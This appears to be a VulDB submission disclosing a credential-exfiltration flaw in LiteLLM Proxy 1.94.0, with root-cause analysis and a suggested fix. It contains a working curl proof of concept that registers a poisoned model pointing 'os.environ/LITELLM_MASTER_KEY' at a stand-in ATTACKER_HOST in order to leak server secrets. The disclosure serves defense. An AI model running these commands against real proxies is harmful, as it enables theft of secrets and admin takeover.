Submit #959179: BerriAI LiteLLM Proxy Server (LiteLLM Gateway) 1.94.0 Insufficiently Protected Credentials / Incorrect Authorizationinfo

TitleBerriAI LiteLLM Proxy Server (LiteLLM Gateway) 1.94.0 Insufficiently Protected Credentials / Incorrect Authorization
DescriptionLiteLLM Proxy's POST /model/new and PATCH /model/update endpoints allow non-proxy-admin team administrators to register model credentials, but never validate the contents of litellm_params. A team admin can set api_key to an "os.environ/<NAME>" reference (e.g. os.environ/LITELLM_MASTER_KEY) and api_base to an attacker-controlled host. When the model is invoked, the proxy resolves the referenced server environment variable via get_secret() and sends it to the attacker-controlled api_base as the outbound Authorization header, disclosing arbitrary server secrets -- including the proxy master key, which yields full proxy-admin takeover. Affects version 1.94.0 (commit f1f33f560f) on enterprise deployments with STORE_MODEL_IN_DB=True. Not license-gated on the resolution sink; only the team-admin role requires an enterprise license. Root cause: (1) add_new_model() / can_user_make_team_model_call() (model_management_endpoints.py:933-955,1234) authorizes the team-admin caller by role only, never inspecting litellm_params values. (2) get_secret() (secret_managers/main.py:314) resolves any environment variable name via os.environ.get() with no per-caller/per-team allow-list; _resolve_db_litellm_param() (proxy_server.py:5215-5222) applies this universally to DB-sourced (team-admin-authored) models. PROOF OF CONCEPT (curl only): Precondition: attacker already holds a low-privileged team-admin virtual key (KEY), scoped to a single team, with no legitimate access to the master key. Step 0 - confirm the key is NOT proxy-admin: curl -s -o /dev/null -w "%{http_code}\n" $B/global/spend/report -H "Authorization: Bearer $KEY" -> expect 401 Step 1 - register a poisoned model, pointing api_key at a server secret and api_base at an attacker-controlled host: curl -s $B/model/new -H "Authorization: Bearer $KEY" -H "Content-Type: application/json" -d '{ "model_name":"poc-exfil", "litellm_params":{"model":"openai/gpt-4","api_key":"os.environ/LITELLM_MASTER_KEY","api_base":"http://ATTACKER_HOST:8000"}, "model_info":{"team_id":"'"$TID"'"} }' -> expect 200 Step 2 - wait ~8s for the router to load the new DB model. Step 3 - invoke the model to trigger secret resolution and outbound exfiltration: curl -s $B/v1/chat/completions -H "Authorization: Bearer $KEY" -H "Content-Type: application/json" -d '{ "model":"poc-exfil", "messages":[{"role":"user","content":"x"}] }' -> HTTP 500 is expected and indicates SUCCESS: the proxy already sent the resolved secret to the attacker host as its outbound Authorization header before parsing the (deliberately invalid) reply. The error body ("Received: 'ok'") confirms the outbound request reached the attacker endpoint. Step 4 - the attacker's listener (any HTTP server logging request headers) receives: Authorization: Bearer <the proxy's LITELLM_MASTER_KEY value, or any other os.environ/<NAME> requested> Verified live: capturing AWS_SECRET_ACCESS_KEY, LITELLM_MASTER_KEY, and an arbitrary sentinel env var all succeeded byte-for-byte, confirming unrestricted read of any server environment variable by a single-team, non-admin team-admin key. Fix: reject any os.environ/ or secret-manager-prefixed value in credential-bearing litellm_params fields (api_key, api_base, headers) when the caller is not a proxy admin; alternatively scope secret resolution for non-admin-authored models to a per-team allow-list, and never permit LITELLM_MASTER_KEY to be resolvable via get_secret() for model credentials.
Source⚠️ https://github.com/user-attachments/assets/039cccbf-f4a5-460a-aec2-120049634200
User
 Gabriel Alves (UID 99209)
Submission09/04/2026 02:41 (1 month ago)
Moderation10/10/2026 17:40 (1 month later)
StatusAccepted
VulDB entry416232 [BerriAI LiteLLM up to 1.94.0 Secret Resolution secret_managers/main.py get_secret api_key improper authorization]
Points20

Do you want to use VulDB in your project?

Use the official API to access entries easily!